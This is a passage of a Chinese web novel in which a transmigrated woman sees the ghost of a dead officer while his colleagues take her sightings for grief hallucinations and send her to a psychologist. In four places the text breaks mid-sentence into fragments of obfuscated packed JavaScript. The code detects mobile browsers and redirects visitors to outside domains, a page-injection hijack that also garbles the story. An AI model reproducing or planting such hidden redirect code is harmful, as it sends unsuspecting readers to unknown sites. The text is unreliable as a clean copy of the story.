他觉得自己仿佛坐在了空调的出风口上,大热天的、背后凉飕飕的。 夏乐栎本来没觉得有什么不对劲,直到看见对面余项的表情。 她反应了三秒钟,又转头去看旁边的商时驹。 后者依旧是生人勿进的冷淡脸,但是目光却精准无误地落到周州的方向。 夏乐栎的下意识反应是:“你也能看见?!” 一时没有人回答,整个饭桌都一片死寂。 商时驹目光从那个空座位上移开,落到了夏乐栎身上。 而对面余项的眼神已经变成了三分震惊三分了然四分怜惜的扇形图。 夏乐栎:“……” 虽然事出意外,但是说出来之后,夏乐栎反而觉得也不错。周州这情况,总不能就她一个人知道,旁边这两个可比她更有资格也更有需要知情。 夏乐栎往对面的位置指了指,“你们看不见吗?周哥、周州他真的在那里。” 她又对商时驹,“昨天你来的时候他就在,你的事是他告诉我的。” 商时驹没答话,倒是他对面的余项轻轻嘶了口气。 他干咽了一口,小声问:“嫂、嫂子,周哥现在什么样啊?” 夏乐栎反而被问得哑了下:什么样?就很正常的样子。 她尝试描述,“就坐在那,穿着……” 商时驹打断:“衬衫,白的。” 夏乐栎连连点头,表情惊喜,“你真能看见?!” 不然怎么知道? 商时驹又没说话,连余项都沉默了。 想起那一衣柜白衬衫的夏乐栎:“……” 她忍不住怨念地看了眼周州:哥,你着装就不能丰富点吗? 周州从刚才开始就是表情有点空茫的状态,被夏乐栎这么一看,终于回过神来。 他对着夏乐栎轻轻摇了下头。 周州没有说话,但神情态度都带着制止的意思,显然并不赞同夏乐栎继续下去。 另一边商时驹眉头已经蹙紧,表情变化幅度不大,但夏乐栎愣是从那张脸上读出了“真难搞”的头疼表情。 难搞本搞的夏乐栎:“……” 她才是最头疼的那个好不好?! 商时驹抬手按了按眉心,张嘴还没来得及说出什么来,就被一阵急促的铃声打断。 他接起这通电话,不知道对面说了什么,他表情一肃、快速说了句“我这就去”,挂了电话起身就想往外走。 从接通电话到有动作前后也不过十多秒的时间。 但等站起身来,却脚步一顿,低头看向夏乐栎方向。 对面余项连忙举着手示意了一下,“嫂子交给我,商哥放心。” 大概是真的挺急的,商时驹点了下头,扔下句“看好了”,就快步半跑着离开了。 夏乐栎:“……” 这宛若看守犯人的语气是怎么回事?! 余项扫了眼对面餐盘那咬了一半被扔下的包子,对夏乐栎解释,“行动组那边的活都很急。嫂子别担心,商哥的异能档案是全国都挂得上号的,出不了什么事。” 夏乐栎尴尬微笑:“……好。” 担心个锤子啊?她根本连发生什么事都不知道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14622785|156198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 对面余项对上夏乐栎的笑,不知道想起什么,表情一滞。他掩饰性地抬手招呼,“嫂子咱们接着吃。” 语气关切又忧心之余,还带着隐隐约约的愧疚感。 人在极度痛苦的时候,会从当前的事实抽离,陷入自我保护的解离状态,反而会表现得非常平静。嫂子都这样了,他之前居然还那态度,余项恨不得给自己一巴掌。 被那仿佛“死了全家”的眼神关切着的夏乐栎:“……” 不好意思,我们全家就我死了。 * 吃了饭,余项送夏乐栎去拿东西。 路上夏乐栎不死心地试图将周州的存在告知余项,后者的表情已经从一开始的歉疚变成叹息,“嫂子,你知道这个世界上不存在鬼吧?咱们要相信科学。” 夏乐栎:??? 都异能世界了,你跟我扯科学?! 夏乐栎这么想的,也这么说了,“那异能呢?说不定我的异能就是阴阳眼呢?!” 周州忍不住:[乐栎……] 异能是异能量,不是封建迷信。 正和人掰扯上头的夏乐栎一个眼神扔过去,示意他闭嘴。 不帮忙就算了,还扯后腿! 周州:[……] 他应该提前给对方科普清楚的。这么说下去,他已经可以预感到结果了。 余项并不知道对面的人是当前世界义务教育漏网之鱼,听到这话,表情更添几分悲痛。 他想了想,轻声问:“那嫂子能看到周哥以外的鬼吗?” 夏乐栎:……好、好尖锐的问题。 余项叹气,“周哥要是还在的话,也不想看见嫂子你这样的。嫂子你要是能看见的话,不如直接问问周哥?他肯定也不愿意你这么继续下去。” 夏乐栎下意识将眼神投过去,周州果然摇头,[乐栎,别说了。] 夏乐栎简直一口老血梗在心头。 你们俩说的是一个话题么,这就一唱一和的?! 因为对当前世界的世界观有点认知误差,夏乐栎的说服工作进行得极不顺利。 没等话题继续深入下去,余项也接到了电话,他和商时驹差不多反应,下意识答了“好”之后,才反应过来看夏乐栎。 虽然不知道到底发生了什么,但夏乐栎还是很有不打扰人家正常工作的自觉,没再继续就这件事纠缠下去,摆摆手说:“你去吧。东西我自己去拿就行,我知道路。” 余项哪敢让夏乐栎自己去周州的办公室睹物思人? 他把夏乐栎就近推进一个会议室,“嫂子你在这等等我,我待会儿办完事就过来。周哥还有东西在我那呢,我得回去好好找找!” 夏乐栎就这么被推了进去。 门“啪嗒”一声自动锁上,夏乐栎看看里面简洁的布置,又看看关上的大门,再看看门旁边她的指纹绝对打不开的认证锁,转头对周州,“这该不会是审讯室吧?” 周州:[……] 他可疑地沉默了一会儿,解释:[局里有专门的审讯区域,这地方一般是用来开会的。] 夏乐栎秒懂。 也就是说空间不够的话也可能临时充当一下。 ……这是什么嫌犯待遇啊?!! 6.第 6 章 虽然现状待遇令人眼前一黑,但夏乐栎在心底蛐蛐完了,倒是心态很平地放过了这一茬。 她转而看向周州,拧眉,“你刚才为什么不让我说下去?” 刚才在食堂那会儿,她还是第一次看见周州的表情管理失效。整个人都懵住了,回神比夏乐栎还慢了半拍:明明非常想被看到吧! 周州倒是很平静:[没用的,他们看不见。] 见夏乐栎还想再说什么的样子,他笑着摇了摇头,[现在这样就挺好的。我都死了,告别仪式也结束了。还有机会再看见以前的朋友,已经很难得了。] 夏乐栎眉头拧得更紧了,“要是不想笑的话,可以别笑。” 周州愣了一下。 他一点点收敛了笑容,旋即却像是不知道摆出怎样的表情一样,神情有点空茫。 夏乐栎按了按额角。 她好像有点明白对方那句“我这边的问题”是怎么回事了。 夏乐栎看了眼周州的表情,琢磨了下,觉得这哥们儿不像是很容易被冒犯、一两句话就被刺伤的类型。因此也就直截了当地问了,“有没有人说过,你……完美得不太像真人?” 也就是俗称的“有点假”。 不过这哥人实在太好了,话到嘴边,夏乐栎还是换了个委婉的说法。 周州倒是听明白了。 他也确实没露出什么被冒犯的情绪,反而是有点怀念地,[时驹以前就说过类似的话。不过他说话要更直接点,我们还打过架。] 夏乐栎:“果然。” 商时驹看起来确实是看不惯会动手的性格。 不过用的是“打架”这个词,还真有点意想不到。 同事……和“朋友”吗? 看夏乐栎疑惑解开之后就把这个话题放过去,似乎没有再深聊的意思,周州反而有点不太自在,[我还以为你会说点什么。] 夏乐栎盯着他看了一会儿,反而“哧”地笑起来,“你该不会以为我要说什么‘真性情’、‘展露自我’之类的话吧?拜托,大家都是成年人了,谁没一两个社交面具啊,难不成真像是小孩一样渴了饿了就哭就闹才是好事?生活哪有那么容易的?大家可都背着担子呢。” 周州看着她一脸青春靓丽,却满脸“过来人”的老气横秋,也不由地被逗得发笑。 但是笑完之后却仍是轻轻摇头,[已经够了,都道别了一次了,难道还要第二次?保持原状对大家都好。] 夏乐栎冷漠:“哦。” 周州一脸头疼。 忧郁美男子当然很戳人,夏乐栎无奈叹气:“哥,你都帮了我这么多,就这么一点小心愿,我要是不搭把手,那还是不是个人了?” 周州要是真的不介意那就算了,她尊重对方想法。但对方刚才食堂那表现,明明很想被看到。 周州想说点什么,但抬眼对上对方的目光却是一愣。 会议室里的背景是大片大片的白,阳光照射之下几乎刺目,亮白色的背景下,人的存在格外凸显。那靓丽的面孔上,尤以一双灿亮的明眸最为夺目。一望见底的瞳眸并没有映出他的倒影,但或许是视线落点、也或许是目光的聚焦,这双眼睛确确实实从另一个层面映出了他的存在。 明明没有丝毫相似,周州却突然想到了那一天的午后—— 他其实飘了有一段时间了,旁观了自己的葬礼,旁观了告别仪式,当然还有那么一场闹剧。亲朋的痛苦悲伤、被救者的感激涕零、还有所谓“家人”万年如一日的嘴脸…… 他看到了一切,却什么都碰不到摸不到。 声音无法传达、情感没有了传递,他彻底彻底地存在于另一个世界。 他突然不知道自己存在的意义是什么了。 他努力维持的生前该有的行动轨迹回到家中,一切都与离去的那天一般无二,他碰触不到,也改变不了——他是在这时候产生这种疑惑的:我真的存在吗? 这个念头生出的一瞬间,原本坚固的自我意识溃败千里,他能看见自己“身体”在渐渐消散。 他那时的状态很奇怪,并没有任何恐惧,只是一种从心底而生的困惑。 夏乐栎是在那个时候出现的。 大片的血液在地板上洇开,刺目的锈红烧灼着目光,但阳光映照着这一切,竟产生了些宗教受难仪式的圣洁感来。 周州不知道是那个场景真的如此,还是他意识赋予的情感。 ……因为以那淌开的血液为纽带,他再次触碰到了这个世界。 就像是现在。 在那双没有倒影的瞳眸中追逐自己的存在,仿佛寻求自己在世界的锚点。 视线相接对视了一会儿,周州轻轻摇头,[你已经帮到我了。] 夏乐栎:“……” 这哥怎么就这么犟呢?! 想要把周州的特殊存在状态告诉别人,首要的一点就是当事人的配合,比如说点什么只有彼此知道的小秘密,就像是商时驹那次。不然她空口白牙地试图说服别人,那完全是表演行为艺术,她自己都觉得可信度堪忧。 夏乐栎努力做当事人的思想工作,可周州表现得比她还耐心。 态度温和、语气平静,但问就是摇头。 夏乐栎也被他磨得没脾气。 至于说趁对方不注意套话? 想想对方之前给她编造证言的做法,她还是别在专业人士面前耍那点小花招了。 周州心情真的很平静。 奇迹发生的概率是千万分之一,他从不相信这样渺茫的希望会在自己身上发生第二次。 …… 时针的角度转过两个格,夏乐栎渐渐没法专注这个话题,倒也不是耐心告罄,而是…… 周州看看饮水机,又看看旁边空了三轮的纸杯,心下了然。 说话多了嘴巴干,饮水机又在旁边,不知不觉就变成这样的。单独的会议室也不会配备卫生间。 夏乐栎脚下焦躁地在桌子底下倒腾一会儿,忍不住对着周州,“你们平常审犯人就用这手段?” 周州:[……嫌疑犯正常范围内的生理需求,我们还是会满足的。] 只要不是一小时上三次厕所这样挑事的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14636007|156198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夏乐栎:“……” 合着她的待遇连犯人都不如。 这沉默地僵持了一会儿,周州指了一下监控摄像头的死角,又眼神示意了一下纸杯,非常体贴地,[我可以回避。] ……人不能起码不应该。 夏乐栎死命摇头,“我还能行!” 周州:……好吧。 * 这么煎熬地过了不知道一个钟还是半个钟,外面传来开锁认证声音。 夏乐栎从来没有听过这么动听的开门声,听到动静就直接起身,门打开之后差点一头扎进外面人的胸肌里。商时驹生生后退了半步,才拉开了距离。 看着对面好兄弟难得不知所措的表情,周州实在忍不住,[……噗。] 夏乐栎没心情感慨对面哥们的好身材,无心问为什么不是余项,只憋出来三个字:“卫生间!” 商时驹:“……” …… 等终于解决完了生理问题,夏乐栎才像是活过来了。 她洗了个手往外走,看见商时驹靠在门边打电话。 周州当然不会一起跟着进去女卫,他大概是趁这个机会在外面转了一圈,见夏乐栎出来,面色凝重地迎上去,开口:[出命案了。] 夏乐栎愣了一下,刚想问怎么回事,周州已经摇头:[案情是不会对外透露的,局里最近都很忙,你让时驹送你回去吧。] 周州刚才显然是去了解情况了,但他话里“案情不会对外透露”的透露方也包含了他自己。 意外的,在这种地方反而很遵守规则。 说话间,那边商时驹已经挂了电话,他依旧言简意赅,“跟上。” 夏乐栎下意识地照做,一直到车旁边才反应过来。 她刚想说可以自己回去,商时驹已经开口,“上车。” 周州看出了夏乐栎的表情,在旁劝,[让时驹送你回去吧,不然他不放心。] 夏乐栎:好吧,这哥们是个好人。 夏乐栎没多久就后悔了这个决定。几乎是她刚刚上车,安全带还没系好呢,对方就已经一脚油门踩了出去,夏乐栎眼疾手快地把锁扣摁好,下一秒差点被带子勒得断气。 她毫不怀疑自己手慢了一点,这会儿人就栽到前挡风玻璃上了。 有了这么一个开端,夏乐栎对接下来的路程已经有所预料。 果然是一路风驰电掣,等车停下来之后,夏乐栎头晕眼花,唯一庆幸的是自己没吃午饭。 周州在旁关心了几句,但是完全没对这种开车方式表达什么异议。 夏乐栎:……合着你也这作风。 夏乐栎一边心底吐槽“两个世界的交通法规绝对不一样”,一边晕晕乎乎地下了车。 入目是一个巨大的招牌,浅色的钢化玻璃被固定在纯黑的大理石料上,素面的底色上,烫金的大字闪闪发光——S市精神卫生中心。 夏乐栎:……? 她僵硬地一点点转头,看向周州。 周州:[……] 他真不知道……好吧,这确实是商时驹能干出来的事。 7.第 7 章 “……具体的情况我已经在线上和您说了,今天下午就麻烦您了。” 站在心理咨询室门口,夏乐栎仍然不知道情况到底怎么发展到现在这一步的。 眼前着商时驹交代完了转身就要走,夏乐栎连忙“唉”了一声。 本来以为这哥们毫无废话的利索作风、根本不会搭理她的,却不料对方真的脚步顿住,眼神询问夏乐栎有什么事。 夏乐栎:“……” 想到周州表情严肃说的“命案”,再看商时驹这一路风风火火的行动,夏乐栎想想也知道,这不是和对方掰扯“周州到底存不存在”的时候。 她张了张嘴,最后也只能重音强调,“我没事,我很正常。” 商时驹表情缓了一点。 他其实不冷着脸的时候挺校草的,看起来篮球打的特别好、特别受小姑娘欢迎的那种。尤其是他这会儿表情看起来居然还挺温和,语气也是,“就是聊聊天,等晚点的时候我来接你。” 旁边有个面色疲惫的阿姨经过,见这情形倒是忍不住笑了,对着夏乐栎,“小姑娘有福气,对象对你上心嘞。” 夏乐栎:“谢谢阿姨,他不是我对象。” 商时驹言简意赅:“不是对象。” 阿姨看看这个看看那个,感慨着“年轻时候遇到个靠谱不容易,得珍惜着点”,就唏嘘着走远了,只余下尴尬的气氛在两个人中间蔓延。 商时驹又恢复了那张“生人勿进”的臭脸,对着夏乐栎点了下头,“手上案子急,我就先走了。” 夏乐栎还能说什么? 她只能做一个配合办案的人民群众,咽下千言万语目送着商时驹离开。 再看看对面“受过特殊训练,除非特别好笑绝不会笑”的心理医生,夏乐栎眼中渐渐失去高光——她的牺牲真是太大了!! 作为一个连穿越这种人生大事都分分钟接受的乐观人士,夏乐栎还是第一次接受心理咨询。 她略微尴尬地坐在心理医生对面,走过来途中轻轻拍了下周州的手:哥!今天结束后,我是不是个正常人就看你了!! 不知道是不是默契还没到那份上,周州半天没有回答。 这会儿人就在心理医生眼皮子底下,夏乐栎也不敢往旁边随便乱瞥,只能僵硬地坐在对面,一边看着桌上的水杯,一边疯狂思索问题答案。 然而就在她满脑子都塞满了“对‘过世男朋友’问题的应对”的时候,对面却笑了笑,“不着急,我听时驹说,你还没吃饭?咱们先吃点东西。” 夏乐栎一愣:时驹? 对面像是知道她想什么似的,莞尔解释:“因为以前的一些事情,时驹也在我这里做过咨询。他本来就是个自救意识很强的人,其实我也没做什么,不过还是谢谢他的信任。” 夏乐栎:怪不得对方动作这么快,原来是熟人啊。 一顿油糖爆表的午饭,外加咨询室里放松的环境,夏乐栎精神稍稍放松了点。 主要是想好了应对的方法。 除了身边发生的超自然事件之外,她的精神状态完全正常,所以只要不对周州做出特别反应,她完全是个正常人啊!有什么可害怕的?! 然而对面既没有拿出一堆测量表格让她填,也没有询问她和男朋友的关系,更没有询问“幻觉”问题,而是问,“我们不如先聊聊你以前的事?” 夏乐栎不解:“以前的事?” 对面表情温和:“对,随便什么都可以,高兴的、不高兴的。从你出生在这个世界上开始,让你印象深刻的事。” 夏乐栎:是满身是血的躺在陌生男性床上,还是银镯子在眼前闪闪发光差点被送进去?是遵纪守法二十多年第一次给自己伪造身份证明,还是被在“审讯室”关了一个上午连卫生间都不给去…… ……她才刚来这个世界第二天,经历未免过于丰富了。 * 这场心理咨询进行得极不顺利,对于参与的双方都相当煎熬。 将近晚上的时候,商时驹果然过来接人了。 于是医生和“家属”在外面谈话,夏乐栎在咨询室里等。 周州大概是出于不干扰对话的考虑,今天一下午都沉默寡言,夏乐栎猜测是自己进来的时候拍对方的那一巴掌被理解成了“保持沉默”的意思。 夏乐栎一边扼腕着“果然没有默契”,一边觉得周州考虑是比她一开始想的更周到点……她这算是蒙混过关? 这么想着,抬头却看见周州好像是在发呆。 夏乐栎:? 瞥了眼门外专心对话的两人,夏乐栎小声,“周哥?” 周州这才像骤然回神。 他仓促移开盯着夏乐栎手看的视线,勉强保持住了表情,[怎么了?] 夏乐栎总算发现了不对,“你怎么了?” 虽然一只鬼也看不出什么脸色,周州表情看起来的确不太好。 周州:[……] 一开始确实是因为猝不及防的“被碰到”在发呆,但是随着夏乐栎的目光长久的移开,情况开始不对。 同在一个环境下,对方意识完全清醒,却没有一丝注意力分过来,就仿佛他不存在一样。这个认知刚刚生出,他“心跳”开始加快,焦躁的情绪蔓延,眼前的一切变得扭曲,连时间的概念都变得模糊…… 幽幽的目光落到了夏乐栎身上,周州语气艰涩,[你想要帮我?] 他需要点什么来确认自己“存在”。 夏乐栎被看得怔了下,但还是点头。 周州涩声:[能……]让我抱一下吗? 话没说完,他骤然顿住。 仓促上线的理智死死关上闸门,周州差点给自己一巴掌。 ——这是什么变态?! 连一个字还没说完,就突然沉默了,夏乐栎当然追问:“能什么?” 她刚问完,就眼睁睁地看着对面表情忧郁下去,甚至还有点消沉。 夏乐栎:? 周州摆摆手,有气无力地,[你让我缓一缓。] 关于自己突然成了变态这件事。 说起来,他那会儿“把人抱到床上去”就不是什么正当行为,更别提抱完之后还一直在床边盯着人看。 周州仔细回忆自己那时候在想什么,半是松口气地发现—— 还好。什么都没想。 因为思维太乱了,大脑反而处在一种放空的空白状态,也不至于有什么“让他想把自己送进去”的糟糕念头。 看着对面一秒钟三个表情的夏乐栎:??? * 与此同时,门外的谈话氛围也很凝重。 不像是在夏乐栎面前那样平静宁和的样子,心理医生这会儿微微蹙着眉,表情不至于到沉重的地步,但也并不轻松,“……心理咨询首先是和来访者建立信任关系,但是我没能让她打开。她很没有安全感,对我的防备心也很重。” 商时驹倒是一脸意料之中。 他抬手按了按眉心,无声叹气,“我明天再带她过来,麻烦您——” “我不是这个意思。”对面打断他的话,“我是指,我们需要考虑的是‘要不要干预这件事’。” 商时驹眉头拧了拧,“什么意思?” “你之前联系我的时候就已经说过,她之前有过自.杀中止的行为。我是不是可以理解为,这是她的一种自我保护?她对周围的事情反应如常,除了这个幻觉之外,没有其他异常行为,而且也知道这个幻象只有自己能看到……如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661323|156198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果这只是她本能催生出来的自我保护手段,我不建议在这种时候强行打破这个印象。” 商时驹眉头拧得越发紧了。 他非常不喜欢这种逃避的做法。 医生像是猜到他的想法,摇头,“这不是逃避,每个人都有自己解决事情的方式,问题也不只有强行面对这一种,倒是你……” 商时驹表情微僵,“我没事。” 对面耸了下肩,也没再继续深入下去,而是接着,“我倒是觉得小姑娘已经很挺得住了,起码精神状态不错。她没有和我聊得很深入,但是也透露了点,她是不是最近还遇到了别的什么事?比如亲近的家人过世。” 商时驹神情又沉了点,顿了下才答:“我不知道。” 医生讶异地看了一眼,琢磨了一下倒也理解地点点头:毕竟朋友的女朋友么。 “……总之多和她聊聊吧,这情况我不太建议强行干预。” 而且聊一聊对商时驹也有好处。 朋友去世的情绪总要有个安放点,他这么硬扛着才要出问题。 …… 夏乐栎不知道外面的聊天的走向渐渐诡异,重新坐到商时驹车上的时候,她先是眼明手快地系上安全带避免事故,这才试探着开口:“我觉得我情况还不错,以后是不是不用来了?” 商时驹:“暂时不用。” 夏乐栎:“暂时?” 商时驹转头看过来一眼,夏乐栎立刻眼观鼻鼻观心地坐好,改口:“‘暂时’也行。” 起码她还是大部分意义上的正常人……不、她本来就是正常人! 商时驹看她那紧张的样子有点想笑。 大概是脑子不清醒也有不清醒的好处,对方身上有种非常真实的轻松感,让人能短暂地从沉重的情绪中脱离出来。 但想想这轻松感的来源,商时驹扯了扯嘴角却没能笑出来。 他这次倒没急着飙车,而是手肘撑着方向盘上,看了夏乐栎一会儿,突然开口问:“你现在还能看见他吗?” 夏乐栎有点犹豫,不确定这会儿该怎么回答。 要是应对不好,很可能帮不上周州,还把自己搭进去。 商时驹像是看出了什么,瞥了眼前面的门诊部,扬了扬眉:“怕我把你再送进去?” 语气既嘲讽又挑衅。 夏乐栎:好好一帅哥,怎么嘴这么欠呢? 她深吸口气,默念三遍“这是个好人”,才放平心情开口:“就坐在车后座,我的后面的位置,白衬衫、领扣和第二颗扣子都没系,在看着你……”哦,现在在看我了。 周州默默把扣子往上扣了一颗,同时把歪斜的姿势摆正,塞了一半的衬衫下摆也干脆全都扯出来,看向夏乐栎的眼神带了点不明显的谴责。 夏乐栎:“……” 她应该也没干什么吧? 商时驹却听得沉默。 他短暂地失语一会儿,将方向盘上的右手拿下来,正下意识地往裤兜里捞,就听见一声清脆地,“有女士在车上,最好不要抽烟。” 商时驹顿了下,偏过头去看。 夏乐栎神色自然地往后车座上示意了下,“他说的。” 商时驹放了一半的手在半空中僵住,好半天才重新抬起来,却没放在方向盘上,而是径直盖在了脸上。 他仰头靠在后车背上,半天没有动作。 压抑的沉默在密闭空间里蔓延,直让夏乐栎心底七上八下的。 她欲言又止了好半天,小声关切:“……你哭了?” 商时驹一秒放下了手。 他转头看了夏乐栎一眼,什么也没说,倒挡出了车位。 周州:[乐栎你……] 还挺会破坏气氛的。 8.第 8 章 早晨,夏乐栎把早餐的燕麦泡好,用坚果做了个点缀,应商时驹的要求,吃之前先拍了照给对方发了过去。 在用周州家里的存货快速地解决完简易早饭之后,夏乐栎带着相机出门了。 相机同样由周州友情出借,夏乐栎再次在心底感慨:帅哥鬼是什么仙度瑞拉的仙女教母? 周州看过夏乐栎今天要去的地址,不太赞同:[你身体还没恢复好,不用这么着急。] 夏乐栎叹气,“哥你不让我付房租我已经够感谢了,我总不能一直白吃白住啊!” 周州:[没关系。] 夏乐栎扼腕,“拿人的手软啊!哥你再这样我可真的是‘无以为报’了。” 周州本来想笑接上一句“以身相许”,但本来调侃的话到了嘴边却哑住了。 他无声地叹了口气:果然,心虚的人说什么都心虚。 夏乐栎接着,“人都是有惰性的,再这么待几天,我可能就真的理直气壮地被养着了。” 周州:[……] 原来是这个“无以为报”法。 夏乐栎又比划了一下手里的新手机,“何况我还背着债务呢。” 昨天分开的时候,商时驹要加联系人,发现夏乐栎没有手机。 这哥们也非常干脆,载着夏乐栎直奔专柜,从挑选手机到刷卡付款整个过程连一分钟都没到。 大概没做过这么快速的交易,导购小姐把人送走的时候笑容可甜了,“你男朋友对你真好。” 夏乐栎开口纠正,也只把“男朋友”变成了“哥哥”。其实夏乐栎更想称呼为“金主爸爸”的,但是考虑到商时驹的声誉,她还是保持了礼貌的微笑。 周州当然知道这一茬,倒也解释,[时驹是送给你的。] “他那不是送我的,是送你女朋友的。” 夏乐栎叹口气,表情沉重、忧心忡忡,“我不知道你们这的规定是什么样的,但是按我们那儿的法规,骗人感情还属于道德瑕疵,但是涉及金钱物质,性质就不一样了。我总要为我的以后考虑。” 周州:[……] 好有道理,居然无法反驳。 * 去的的地方有段距离,夏乐栎下了公交又按照导航走了一段路。 一开始还是高楼大厦的商业区,过了一个牌坊仿佛进入了另一个世界,道路骤然变得狭窄,没了大路上的车来车往,穿行其中的电动车在不算宽阔的路上彼此避让。热闹倒是仍旧热闹,但是是迥异于高楼大厦的、充满市井气息的热闹。 夏乐栎忍不住对着一路担心的周州小声:“你看,也没什么嘛。” 大白天的,人来人往。 周州却只是摇了摇头。 随着夏乐栎往里深入,高楼遮蔽了投下来的阳光,小路渐渐变得昏暗起来。周围的小吃摊和小饭馆倒是仍旧开得热闹,仍旧要时不时避让从身侧过去的电动车。 但继续往里,情况渐渐不对起来。 几分钟后,夏乐栎停在了一个分叉的巷子口。 刚才经过的小吃街的油烟味被抛在了身后,夏乐栎本来以为那地方地段不好、有点采光问题,但现在看来刚才那地段简直太好了。 现在摆在她面前的有两条路。 左边那条还有点光线,看起来像是夜色将至的普通小区,透过底层商户的玻璃门看到里面的灯光,还稍微有点安全感。但右边的巷子完全一片乌漆麻黑,偶有一两个霓虹的招牌亮着闪烁着光,让人产生非常不妙的联想。 白昼、黄昏和深夜汇聚,人站在这个路口,几乎要对时间产生困惑。 这是什么超现实主义?! 要是往左边那个巷子,夏乐栎做一做心理建设,还是能走过去的。但雇主对路的描述,是“进来之后,一路往右转”。 夏乐栎:“……” 她现在知道这个拍摄单为什么没人接了。摄影师也要考虑个人安全的,就算接外摄的单子也会选择公共场合,上门拍摄是少数情况,对女摄来说尤其如此。这种阴凉的环境,总有种一不小心会被噶了腰子的恐惧。 她就说自己一没有作品集,二没填写牛逼履历,连号都是昨天刚注册的新号,怎么会有这种天上掉馅饼的好事?! 说实话,夏乐栎有点想缩了。 但负债状态的财务状况容不下她对工作挑挑拣拣。 而且,她可是有外挂的人啊! 夏乐栎小声:“周哥?” 周州听出了她没有离开的意思。 无奈地答应了一声,[走吧,我帮你注意周围的情况。] 夏乐栎:“谢谢周哥!” 果然靠谱! 往里面走,常年不见阳光的霉气扑鼻而来,环境阴湿天气又闷热,夏乐栎眼睛还在适应这黑暗的环境,却听见旁边一阵窸窣声,像是有什么东西从她脚边窜过,擦过了她没有凉鞋带子遮挡而裸露在外的皮肤。 汗毛激激灵灵地从后脑勺炸到了尾椎骨,夏乐栎反应过来以前,已经短促地惊叫一声,四肢并用地扒在旁边的“人”身上,带着哭腔问:“什么东西?什么东西?!!” 周州脑子空白了一下。 好半天才回过神来,下意识抬起的手在半空中僵了半天,试探性地轻轻落在温热的脊背上。 直到夏乐栎又一叠声地问了好几遍,周州才终于调动着意识往旁边观察。 看了一会儿,他轻轻呼出口气,[没什么……是老鼠。] 夏乐栎:“……” 老鼠是“没什么”的程度吗?……这份工作她是非做不可吗?! 夏乐栎很想就这么扒在周州身上装死。 而周州这边,出于某些微妙个人情绪,他既没有开口提醒、也没有出声安慰,只是安静地任由夏乐栎抱着。 隔了好一会儿,夏乐栎终于缓过来点。 她一点点松了扒着周州的力道,试探着想往地上落。 女孩子柔软的大.腿内侧贴着身体磨蹭,周州终于意识到自己刚才干了多离谱的事。 他一巴掌拍在自己的额头上,冷静下来之后非常干脆地协助夏乐栎下到地面上。 夏乐栎:“……” 让她多扒一会儿吧,她还没做好心理准备QAQ~ 然而外挂毫不留情地把她扒拉到了一边,并谨慎地拉开了物理距离。 夏乐栎:“……” 她真的没什么非分之想。 周州:[还去吗?] 夏乐栎犹豫了好一会儿,咬牙:“……来都来了!” * 巷子里实在太黑了,夏乐栎开着手电往前走。 她有心想问问周州能不能借只手给她拉一拉,但是鉴于这要求实在有点冒犯,夏乐栎还是咬牙忍下了。 好在除了过于黑暗的背景和堪忧的卫生条件之外,这地方没什么其他的问题,偶尔还能看到外卖小哥辛勤穿梭的身影,光线好点的地方还有价格相当实惠的小餐馆,夏乐栎这么七拐八绕地到达了目的地,在单元楼下打通了雇主的电话。 对面接到电话后,像是有点震惊,一连串手忙脚乱的哗啦声,“你人已经到了吗?等等,我现在马上下去。我这地方不太好找,我还以为你到牌坊会给我打电话。” 周州提前去对方门口等着了。 他趁着开门的空隙看了眼屋里的情况,比雇主更先一步下来,对着夏乐栎点了下头,[和线上说的情况差不多。] 夏乐栎轻轻松口气。 来之前她和雇主也有过线上沟通。对方似乎是来S市打工的年轻女性,最近准备收拾东西回老家,因为想给自己在S市的生活做个留念,所以才想请个专业的拍摄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694571|156198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,记录一组自己在S市日常生活的写真。 拍摄起点当然是从她在S市的出租屋开始,为了交流方便,对方想要请一位女摄。 但是这个地址外加限定女性的要求,让很多人心底都泛起了嘀咕,再加上对方给的价格在行业内并不算高,多数人都觉得不值得冒这个风险。 但夏乐栎缺钱! 连黑进官方户籍系统伪造身份这种行为她都干了,还有什么她不敢的吗?! 法外狂徒叉腰.jpg 下来的是一个很时髦的短发小姐姐。 